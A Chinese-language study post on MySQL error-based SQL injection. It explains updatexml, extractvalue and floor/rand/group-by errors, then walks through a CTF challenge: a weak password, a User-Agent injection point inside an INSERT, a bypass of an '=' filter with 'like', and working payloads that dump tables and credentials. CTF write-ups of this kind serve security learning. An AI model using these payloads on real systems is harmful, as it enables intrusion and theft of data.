报错注入的学习
原理
报错注入是通过构造非法请求,返回报错信息,让回显的报错信息中包含敏感信息。
重点在于
1.触发数据库错误
2.将查询结果嵌入错误信息回显
报错注入常用的函数
xpath报错注入
利用原理:
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错,这时就可以通过利用这两个函数的报错信息嵌套返回数据库信息
补充知识:xpath语法
1.extractvalue() (MySQL专用)
函数原型:
extractvalue(xml_document, xpath_expression)
函数的第一个参数是string类型,为XML文档对象的名称;第二个参数是xpath_string,为xpath结构的字符串类型
函数原理:
extractvalue()使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误,比如插入0x7e( ~ ),由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
函数特点:
最多返回32字符(超过部分自动截断)
必须包含特殊字符(如0x7e:~)才能触发错误,这也是常用来判断是否存在注入点的方法。
2.updatexml()函数(MySQL专用)
函数原型:
updatexm(xml_document, xpath_expression, new_value)
第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串,第三个参数:string格式,替换查找到的符合条件的数据
函数原理:
与上面的函数extractvalue()原理类似,updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax),也是常用0x7e构造报错
floor()函数报错注入(通用)
注:这种注入方法如果是对于MySQL数据库,需要MySQL数据库版本在5.0以上。
利用原理:
floor()函数结合rand()和group by字句临时表主键重复错误进行。
1.floor()函数
作用:返回小于等于参数的最大整数,也就是向下取整
2.rand()函数
作用:在注入中用来生成0和1之间的随机数,但是在实操中常常需要设置固定种子来保证一定的确定性:
rand(0):指定种子后生成固定序列
也就是这种效果
3.group by子句
通过 floor 报错的方法来爆数据的本质是 group by 语句的报错
这里是利用临时表机制:
创建临时表存储分组统计结果,将group by字段作为临时表的主键,若主键重复则触发错误
举个例子:
-- 假设当前数据库名为'mydb'
第1次计算 x = 'mydb0' → 临时表插入主键'mydb0'
第2次计算 x = 'mydb1' → 插入'mydb1'
第3次计算 x = 'mydb1' → 尝试插入重复主键 → 触发错误
实操
ez_sql考核复现
打开环境是一个登录界面,结合题目SQL,猜测是不是post注入,就去判断是否有注入
但是一直试了常见的几种闭合符都不行,没有任何回显,后面看了才知道首先要弱口令爆破出密码才能进行注入
根据长度判断出密码是admin123,账号是admin,但是登录后只有个弹窗,也没有回显有用的信息,所以这里判断在登录界面应该是不存在注入点了
接下来要去判断可能注入点,这里也提示了是UA注入
判断闭合方式
发现是单引号闭合,同时观察回显信息,发现回显信息中有数据库名称,而且回显的时候把构造的SQL查询语句一起回显回来了,根据这些特征可以推断是报错注入
验证的时候回显这样一句话,感觉是有黑名单,把符号都试了一下,最后发现是extractvalue()函数被ban了,换函数试试
还是会报错,就去问了一下AI,AI提示可能是错误表明注入点可能位于INSERT语句的VALUES子句中,原因是根据回显信息中含有username的值和ip等值,所以需要添加#来注释后面内容,同时在注释的时候要注意把value重新闭合
就像这样,当插入#时会把后面的value值都注释掉,包括右括号),会导致结果不完整导致报错
接下来就可以查询了
爆数据库:
1' and updatexml(1,contact(0x7e,database(),0x7e),1))#
查表名,发现有黑名单,从根据前面一直没报错推断,排除,'()空格,猜测可能是=被过滤了,上网查了一下,=用like绕过
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'YUNXI_DB'),0x7e),1))#
接着查字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name like 'YUNXI_USER'),0x7e),1))#
另一个字段
查字段内容
1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from YUNXI_USER),0x7e),1))#
发现flag没显示完全,这里我用的是mid方法
1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from YUNXI_USER),25),0x7e),1))#
1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from YUNXI_USER),45),0x7e),1))#